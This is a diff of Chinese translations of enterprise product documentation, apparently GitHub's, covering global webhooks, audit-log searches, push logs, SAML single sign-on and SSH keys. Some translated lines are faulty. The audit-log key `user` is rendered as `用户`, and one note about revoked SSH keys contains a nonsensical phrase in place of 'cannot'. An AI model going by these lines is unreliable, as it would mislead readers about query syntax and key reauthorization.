 shortTitle: Manage global webhooks
 intro: You can configure global webhooks to notify external web servers when events occur within your enterprise.
 permissions: Enterprise owners can manage global webhooks for an enterprise account.
@@ -23,77 +23,65 @@ topics:
   - Webhooks
 ---
 
-## About global webhooks
+## 关于全局 web 挂钩
 
-You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. For more information, see "[Webhooks](/developers/webhooks-and-events/webhooks)."
+You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. 更多信息请参阅“[web 挂钩](/developers/webhooks-and-events/webhooks)”。
 
 For example, you can configure {% data variables.product.product_location %} to send a webhook when someone creates, deletes, or modifies a repository or organization within your enterprise. You can configure the server to automatically perform a task after receiving the webhook.
 
-![List of global webhooks](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png)
+![全局 web 挂钩列表](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png)
 
 {% data reusables.enterprise_user_management.manage-global-webhooks-api %}
 
-## Adding a global webhook
+## 添加全局 web 挂钩
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Click **Add webhook**.
-  ![Add webhook button on Webhooks page in Admin center](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png)
-6. Type the URL where you'd like to receive payloads.
-  ![Field to type a payload URL](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png)
-7. Optionally, use the **Content type** drop-down menu, and click a payload format.
-  ![Drop-down menu listing content type options](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png)
-8. Optionally, in the **Secret** field, type a string to use as a `secret` key.
-  ![Field to type a string to use as a secret key](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png)
-9. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, select **Disable SSL verification**. Read the information about SSL verification, then click **I understand my webhooks may not be secure**.
-  ![Checkbox for disabling SSL verification](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png)
+5. 单击 **Add webhook（添加 web 挂钩）**。 ![Webhooks 页面上 Admin center 中的 Add webhook 按钮](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png)
+6. 输入您想要接收有效负载的 URL。![用于输入有效负载 URL 的字段](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png)
+7. 或者，使用 **Content type** 下拉菜单，并单击有效负载格式。 ![列出内容类型选项的下拉菜单](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png)
+8. 或者，在 **Secret** 字段中，输入用作 `secret` 密钥的字符串。 ![用于输入用作密钥的字符串的字段](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png)
+9. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, select **Disable SSL verification**. 阅读 SSL 验证的信息，然后单击 **I understand my webhooks may not be secure**。 ![Checkbox for disabling SSL verification](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png)
 
   {% warning %}
 
-  **Warning:** SSL verification helps ensure that hook payloads are delivered securely. We do not recommend disabling SSL verification.
+  **警告**：SSL 验证有助于确保安全投递挂钩有效负载。 我们不建议禁用 SSL 验证。
 
   {% endwarning %}
-10. Decide if you'd like this webhook to trigger for every event or for selected events.
-  ![Radio buttons with options to receive payloads for every event or selected events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png)
-    - For every event, select **Send me everything**.
-    - To choose specific events, select **Let me select individual events**.
+10. Decide if you'd like this webhook to trigger for every event or for selected events. ![包含用于为每个事件或选定事件接收有效负载的选项的单选按钮](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png)
+    - 对于每个事件，请选择 **Send me everything**。
+    - 要选择特定事件，请选择 **Let me select individual events**。
 11. If you chose to select individual events, select the events that will trigger the webhook.
       {% ifversion ghec %}
       ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events.png)
       {% elsif ghes or ghae %}
       ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events-ghes-and-ae.png)
       {% endif %}
-12. Confirm that the **Active** checkbox is selected.
-  ![Selected Active checkbox](/assets/images/help/business-accounts/webhook-active.png)
-13. Click **Add webhook**.
+12. Confirm that the **Active** checkbox is selected. ![已选择 Active 复选框](/assets/images/help/business-accounts/webhook-active.png)
+13. 单击 **Add webhook（添加 web 挂钩）**。
 
-## Editing a global webhook
+## 编辑全局 web 挂钩
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Next to the webhook you'd like to edit, click **Edit**.
-  ![Edit button next to a webhook](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png)
-6. Update the webhook's settings.
-7. Click **Update webhook**.
+5. 在您想要编辑的 web 挂钩旁，单击 **Edit**。 ![web 挂钩旁的 Edit 按钮](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png)
+6. 更新 web 挂钩的设置。
+7. 单击 **Update webhook**。
 
-## Deleting a global webhook
+## 删除全局 web 挂钩
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Next to the webhook you'd like to delete, click **Delete**.
-  ![Delete button next to a webhook](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png)
-6. Read the information about deleting a webhook, then click **Yes, delete webhook**.
-  ![Pop-up box with warning information and button to confirm deleting the webhook](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png)
+5. 在您想要删除的 web 挂钩旁，请单击 **Delete**。 ![web 挂钩旁的 Delete 按钮](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png)
+6. 阅读有关删除 web 挂钩的信息，然后单击 **Yes, delete webhook**。 ![包含警告信息的弹出框和用于确认删除 web 挂钩的按钮](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png)
 
-## Viewing recent deliveries and responses
+## 查看最近的交付和回复
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. In the list of webhooks, click the webhook for which you'd like to see deliveries.
-  ![List of webhooks with links to view each webhook](/assets/images/enterprise/site-admin-settings/click-global-webhook.png)
-6. Under "Recent deliveries", click a delivery to view details.
-  ![List of the webhook's recent deliveries with links to view details](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png)
+5. 在 web 挂钩列表中，单击您想要查看其投递的 web 挂钩。 ![包含用于查看每个 web 挂钩的链接的 web 挂钩列表](/assets/images/enterprise/site-admin-settings/click-global-webhook.png)
+6. 在“Recent deliveries”下，单击投递以查看详细信息。 ![包含用于查看详细信息的链接的 web 挂钩最近投递列表](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png)
diff --git a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
index 9fc020f88a..268bc9ffc2 100644
--- a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
+++ b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
@@ -1,6 +1,6 @@
 ---
-title: Searching the audit log
-intro: Site administrators can search an extensive list of audited actions on the enterprise.
+title: 搜索审核日志
+intro: 站点管理员可以在企业上搜索已审核操作的广泛列表。
 redirect_from:
   - /enterprise/admin/articles/searching-the-audit-log
   - /enterprise/admin/installation/searching-the-audit-log
@@ -15,37 +15,37 @@ topics:
   - Enterprise
   - Logging
 ---
-## Search query syntax
 
-Compose a search query from one or more key:value pairs separated by AND/OR logical operators.
+## 搜索查询语法
 
-Key            | Value
---------------:| --------------------------------------------------------
-`actor_id`     | ID of the user account that initiated the action
-`actor`        | Name of the user account that initiated the action
-`oauth_app_id` | ID of the OAuth application associated with the action
-`action`       | Name of the audited action
-`user_id`      | ID of the user affected by the action
-`user`         | Name of the user affected by the action
-`repo_id`      | ID of the repository affected by the action (if applicable)
-`repo`         | Name of the repository affected by the action (if applicable)
-`actor_ip`     | IP address from which the action was initiated
-`created_at`   | Time at which the action occurred
-`from`         | View from which the action was initiated
-`note`         | Miscellaneous event-specific information (in either plain text or JSON format)
-`org`          | Name of the organization affected by the action (if applicable)
-`org_id`       | ID of the organization affected by the action (if applicable)
+由一个或多个键值对（以 AND/OR 逻辑运算符分隔）构成一个搜索查询。
 
-For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017:
+|              键 | 值                         |
+| --------------:| ------------------------- |
+|     `actor_id` | 发起操作的用户帐户的 ID             |
+|        `actor` | 发起操作的用户帐户的名称              |
+| `oauth_app_id` | 与操作相关联的 OAuth 应用程序的 ID    |
+|       `action` | 已审核操作的名称                  |
+|      `user_id` | 受操作影响的用户的 ID              |
+|           `用户` | 受操作影响的用户的名称               |
+|      `repo_id` | 受操作影响的仓库的 ID（若适用）         |
+|         `repo` | 受操作影响的仓库的名称（若适用）          |
+|     `actor_ip` | 发起操作的 IP 地址               |
+|   `created_at` | 操作发生的时间                   |
+|         `from` | 发起操作的视图                   |
+|         `note` | 事件特定的其他信息（采用纯文本或 JSON 格式） |
+|          `org` | 受操作影响的组织的名称（若适用）          |
+|       `org_id` | 受操作影响的组织的 ID（若适用）         |
+
+例如，要查看自 2017 年初开始影响仓库 `octocat/Spoon-Knife` 的所有操作：
 
   `repo:"octocat/Spoon-Knife" AND created_at:[2017-01-01 TO *]`
 
-For a full list of actions, see "[Audited actions](/admin/user-management/audited-actions)."
+有关操作的完整列表，请参阅“[审核的操作](/admin/user-management/audited-actions)”。
 
-## Searching the audit log
+## 搜索审核日志
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.audit-log-tab %}
-4. Type a search query.
-![Search query](/assets/images/enterprise/site-admin-settings/search-query.png)
+4. 输入搜索查询。 ![搜索查询](/assets/images/enterprise/site-admin-settings/search-query.png)
diff --git a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
index 5f6e5fb089..5b895570bd 100644
--- a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
+++ b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing push logs
-intro: Site administrators can view a list of Git push operations for any repository on the enterprise.
+title: 查看推送日志
+intro: 站点管理员可以查看企业上任何仓库的 Git 推送操作列表。
 redirect_from:
   - /enterprise/admin/articles/viewing-push-logs
   - /enterprise/admin/installation/viewing-push-logs
@@ -16,31 +16,30 @@ topics:
   - Git
   - Logging
 ---
-Push log entries show:
 
-- Who initiated the push
-- Whether it was a force push or not
-- The branch someone pushed to
-- The protocol used to push
-- The originating IP address
-- The Git client used to push
-- The SHA hashes from before and after the operation
+推送日志条目会显示：
 
-## Viewing a repository's push logs
+- 推送发起人
+- 是否为强制推送
+- 某人推送到的分支
+- 推送所使用的协议
+- 发起的 IP 地址
+- 推送所使用的 Git 客户端
+- 操作前后的 SHA 哈希
 
-1. Sign into {% data variables.product.prodname_ghe_server %} as a site administrator.
-1. Navigate to a repository.
-1. In the upper-right corner of the repository's page, click {% octicon "rocket" aria-label="The rocket ship" %}.
-    ![Rocketship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+## 查看仓库的推送日志
+
+1. 以站点管理员的身份登录 {% data variables.product.prodname_ghe_server %} 。
+1. 导航到仓库。
+1. 在仓库页面右上角，单击 {% octicon "rocket" aria-label="The rocket ship" %}。 ![用于访问站点管理员设置的火箭图标](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
 {% data reusables.enterprise_site_admin_settings.security-tab %}
-4. In the left sidebar, click **Push Log**.
-![Push log tab](/assets/images/enterprise/site-admin-settings/push-log-tab.png)
+4. 在左侧边栏中，单击 **Push Log**。 ![Push Log 选项卡](/assets/images/enterprise/site-admin-settings/push-log-tab.png)
 
 {% ifversion ghes %}
-## Viewing a repository's push logs on the command-line
+## 在命令行上查看仓库的推送日志
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-1. In the appropriate Git repository, open the audit log file:
+1. 在相应的 Git 仓库中，打开审核日志文件：
   ```shell
   ghe-repo <em>owner</em>/<em>repository</em> -c "less audit_log"
   ```
diff --git a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
index cd89fcbb59..3122383d1f 100644
--- a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
+++ b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing a personal access token for use with SAML single sign-on
-intro: 'To use a personal access token with an organization that uses SAML single sign-on (SSO), you must first authorize the token.'
+title: 授权用于 SAML 单点登录的个人访问令牌
+intro: 要将个人访问令牌用于使用 SAML 单点登录 (SSO) 的组织，必须先授权该令牌。
 redirect_from:
   - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization
   - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
@@ -10,22 +10,21 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: PAT with SAML
+shortTitle: 使用 SAML 的 PAT
 ---
-You can authorize an existing personal access token, or [create a new personal access token](/github/authenticating-to-github/creating-a-personal-access-token) and then authorize it.
+
+您可以授权现有的个人访问令牌，或者[创建新的个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)，然后再授权。
 
 {% data reusables.saml.authorized-creds-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.developer_settings %}
 {% data reusables.user_settings.personal_access_tokens %}
-3. Next to the token you'd like to authorize, click **Enable SSO** or **Disable SSO**.
-   ![SSO token authorize button](/assets/images/help/settings/sso-allowlist-button.png)
-4. Find the organization you'd like to authorize the access token for.
-4. Click **Authorize**.
-   ![Token authorize button](/assets/images/help/settings/token-authorize-button.png)
+3. 在要授权的令牌旁边，单击 **Enable SSO（启用 SSO）**或 **Disable SSO（禁用 SSO）**。 ![SSO 令牌授权按钮](/assets/images/help/settings/sso-allowlist-button.png)
+4. 找到要为其授权访问令牌的组织。
+4. 单击 **Authorize（授权）**。 ![令牌授权按钮](/assets/images/help/settings/token-authorize-button.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)"
-- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
+- “[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
+- "[关于使用 SAML 单点登录进行身份验证](/articles/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
index 2bd5cef6ba..93a49f7f3e 100644
--- a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
+++ b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing an SSH key for use with SAML single sign-on
-intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.'
+title: 授权用于 SAML 单点登录的 SSH 密钥
+intro: 要将 SSH 密钥用于使用 SAML 单点登录 (SSO) 的组织，必须先授权该密钥。
 redirect_from:
   - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization
   - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on
@@ -10,27 +10,26 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: SSH Key with SAML
+shortTitle: 使用 SAML 的 SSH 密钥
 ---
-You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+您可以授权现有 SSH 密钥，或者创建新 SSH 密钥后再授权。 有关创建新 SSH 密钥的更多信息，请参阅“[生成新的 SSH 密钥并添加到 ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。
 
 {% data reusables.saml.authorized-creds-info %}
 
 {% note %}
 
-**Note:** If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+**注：**如果您的 SSH 密钥授权被组织撤销，您便博学多才再授权该密钥。 此时您需要创建新 SSH 密钥并授权。 有关创建新 SSH 密钥的更多信息，请参阅“[生成新的 SSH 密钥并添加到 ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. Next to the SSH key you'd like to authorize, click **Enable SSO** or **Disable SSO**.
-![SSO token authorize button](/assets/images/help/settings/ssh-sso-button.png)
-4. Find the organization you'd like to authorize the SSH key for.
-5. Click **Authorize**.
-![Token authorize button](/assets/images/help/settings/ssh-sso-authorize.png)
+3. 在要授权的 SSH 密钥旁边，单击 **Enable SSO（启用 SSO）**或 **Disable SSO（禁用 SSO）**。 ![SSO 令牌授权按钮](/assets/images/help/settings/ssh-sso-button.png)
+4. 找到要为其授权访 SSH 密钥的组织。
+5. 单击 **Authorize（授权）**。 ![令牌授权按钮](/assets/images/help/settings/ssh-sso-authorize.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
-- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
+- "[检查现有 SSH 密钥](/articles/checking-for-existing-ssh-keys)"
+- "[关于使用 SAML 单点登录进行身份验证](/articles/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/index.md b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/index.md
index c609a547c9..1f33fd1a14 100644
--- a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/index.md
+++ b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/index.md
@@ -1,5 +1,5 @@
 ---
-title: Authenticating with SAML single sign-on
+title: 使用 SAML 单点登录进行身份验证
 intro: 'You can authenticate to {% data variables.product.product_name %} with SAML single sign-on (SSO){% ifversion ghec %} and view your active sessions{% endif %}.'
 redirect_from:
   - /articles/authenticating-to-a-github-organization-with-saml-single-sign-on
@@ -15,6 +15,6 @@ children:
   - /authorizing-an-ssh-key-for-use-with-saml-single-sign-on
   - /authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
   - /viewing-and-managing-your-active-saml-sessions
-shortTitle: Authenticate with SAML
+shortTitle: 通过 SAML 验证
 ---
 
diff --git a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
index 466649aa42..bde8d33874 100644
--- a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
+++ b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing your active SAML sessions
-intro: You can view and revoke your active SAML sessions in your security settings.
+title: 查看和管理活动的 SAML 会话
+intro: 您可以在安全设置中查看和撤销活动的 SAML 会话。
 redirect_from:
   - /articles/viewing-and-managing-your-active-saml-sessions
   - /github/authenticating-to-github/viewing-and-managing-your-active-saml-sessions
@@ -9,23 +9,21 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: Active SAML sessions
+shortTitle: 活动的 SAML 会话
 ---
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Under "Sessions," you can see your active SAML sessions.
-   ![List of active SAML sessions](/assets/images/help/settings/saml-active-sessions.png)
-4. To see the session details, click **See more**.
-   ![Button to open SAML session details](/assets/images/help/settings/saml-expand-session-details.png)
-5. To revoke a session, click **Revoke SAML**.
-   ![Button to revoke a SAML session](/assets/images/help/settings/saml-revoke-session.png)
+3. 在“Sessions（会话）”下，您可以看到活动的 SAML 会话。 ![活动 SAML 会话列表](/assets/images/help/settings/saml-active-sessions.png)
+4. 要查看会话详细信息，请单击 **See more（查看更多）**。 ![用于打开 SAML 会话详细信息的按钮](/assets/images/help/settings/saml-expand-session-details.png)
+5. 要撤销会话，请单击 **Revoke SAML（撤销 SAML）**。 ![撤销 SAML 会话的按钮](/assets/images/help/settings/saml-revoke-session.png)
 
   {% note %}
 
-  **Note:** When you revoke a session, you remove your SAML authentication to that organization. To access the organization again, you will need to single sign-on through your identity provider. For more information, see "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+  **注：**撤销会话时，将删除对该组织的 SAML 身份验证。 要再次访问该组织，您需要通过身份提供程序单点登录。 更多信息请参阅“[关于使用 SAML SSO 进行身份验证](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)”。
 
   {% endnote %}
 
-## Further reading
+## 延伸阅读
 
-- "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
+- “[关于使用 SAML SSO 进行身份验证](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)”
diff --git a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/about-ssh.md b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/about-ssh.md
index a649ffb628..afe2cb5ac9 100644
--- a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/about-ssh.md
+++ b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/about-ssh.md
@@ -1,6 +1,6 @@
 ---
-title: About SSH
-intro: 'Using the SSH protocol, you can connect and authenticate to remote servers and services. With SSH keys, you can connect to {% data variables.product.product_name %} without supplying your username and personal access token at each visit.'
+title: 关于 SSH
+intro: '使用 SSH 协议可以连接远程服务器和服务并向它们验证。 利用 SSH 密钥可以连接 {% data variables.product.product_name %}，而无需在每次访问时都提供用户名和个人访问令牌。'
 redirect_from:
   - /articles/about-ssh
   - /github/authenticating-to-github/about-ssh
@@ -13,22 +13,23 @@ versions:
 topics:
   - SSH
 ---
-When you set up SSH, you will need to generate a new SSH key and add it to the ssh-agent. You must add the SSH key to your account on {% data variables.product.product_name %} before you use the key to authenticate. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)" and "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
 
-You can further secure your SSH key by using a hardware security key, which requires the physical hardware security key to be attached to your computer when the key pair is used to authenticate with SSH. You can also secure your SSH key by adding your key to the ssh-agent and using a passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+设置 SSH 时，您需要生成新的 SSH 密钥并将其添加到 ssh 代理中。 使用密钥进行身份验证之前，您必须将 SSH 密钥添加到 {% data variables.product.product_name %} 上的帐户中。 更多信息请参阅“[生成新的 SSH 密钥并将其添加到 ssh 代理](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”和“[添加新的 SSH 密钥到 {% data variables.product.prodname_dotcom %} 帐户](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)”。
 
-{% ifversion fpt or ghec %}To use your SSH key with a repository owned by an organization that uses SAML single sign-on, you must authorize the key. For more information, see "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+您可以使用硬件安全密钥来进一步保护 SSH 密钥，当密钥对用于通过 SSH 进行身份验证时，需要将物理硬件安全密钥附加到计算机上。 您还可以通过将密钥添加到 ssh 代理并使用密码来保护您的 SSH 密钥。 更多信息请参阅“[使用 SSH 密钥密码](/github/authenticating-to-github/working-with-ssh-key-passphrases)”。
 
-To maintain account security, you can regularly review your SSH keys list and revoke any keys that are invalid or have been compromised. For more information, see "[Reviewing your SSH keys](/github/authenticating-to-github/reviewing-your-ssh-keys)."
+{% ifversion fpt or ghec %}要对使用 SAML 单点登录的组织所拥有的仓库使用 SSH 密钥，您必须授权密钥。 For more information, see "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+
+为了保持帐户安全，您可以定期检查您的 SSH 密钥列表，并撤销任何无效或已泄漏的密钥。 更多信息请参阅“[审查 SSH 密钥](/github/authenticating-to-github/reviewing-your-ssh-keys)”。
 
 {% ifversion fpt or ghec %}
-If you haven't used your SSH key for a year, then {% data variables.product.prodname_dotcom %} will automatically delete your inactive SSH key as a security precaution. For more information, see "[Deleted or missing SSH keys](/articles/deleted-or-missing-ssh-keys)."
+如果 SSH 密钥一年未使用，则作为安全预防措施，{% data variables.product.prodname_dotcom %} 会自动删除非活动的 SSH 密钥。 更多信息请参阅“[删除或缺失的 SSH 密钥](/articles/deleted-or-missing-ssh-keys)”。
 {% endif %}
 
-If you're a member of an organization that provides SSH certificates, you can use your certificate to access that organization's repositories without adding the certificate to your account on {% data variables.product.product_name %}. You cannot use your certificate to access forks of the organization's repositories that are owned by your user account. For more information, see "[About SSH certificate authorities](/articles/about-ssh-certificate-authorities)."
+If you're a member of an organization that provides SSH certificates, you can use your certificate to access that organization's repositories without adding the certificate to your account on {% data variables.product.product_name %}. You cannot use your certificate to access forks of the organization's repositories that are owned by your user account. 更多信息请参阅“[关于 SSH 认证中心](/articles/about-ssh-certificate-authorities)”。
 
-## Further reading
+## 延伸阅读
 
-- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
-- "[Testing your SSH connection](/articles/testing-your-ssh-connection)"
-- "[Troubleshooting SSH](/articles/troubleshooting-ssh)"
+- "[检查现有 SSH 密钥](/articles/checking-for-existing-ssh-keys)"
+- "[测试 SSH 连接](/articles/testing-your-ssh-connection)"
+- "[SSH 故障排除](/articles/troubleshooting-ssh)"
diff --git a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
index b17295b4ef..8c0e96f27f 100644
--- a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
+++ b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
@@ -25,7 +25,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% mac %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. 将 SSH 公钥复制到剪贴板。
@@ -57,8 +56,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% windows %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 1. 将 SSH 公钥复制到剪贴板。
@@ -90,7 +87,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% linux %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. 将 SSH 公钥复制到剪贴板。
diff --git a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
index 98e191c19b..527a8a9e97 100644
--- a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
+++ b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
@@ -1,6 +1,6 @@
 ---
-title: Generating a new SSH key and adding it to the ssh-agent
-intro: 'After you''ve checked for existing SSH keys, you can generate a new SSH key to use for authentication, then add it to the ssh-agent.'
+title: 生成新 SSH 密钥并添加到 ssh-agent
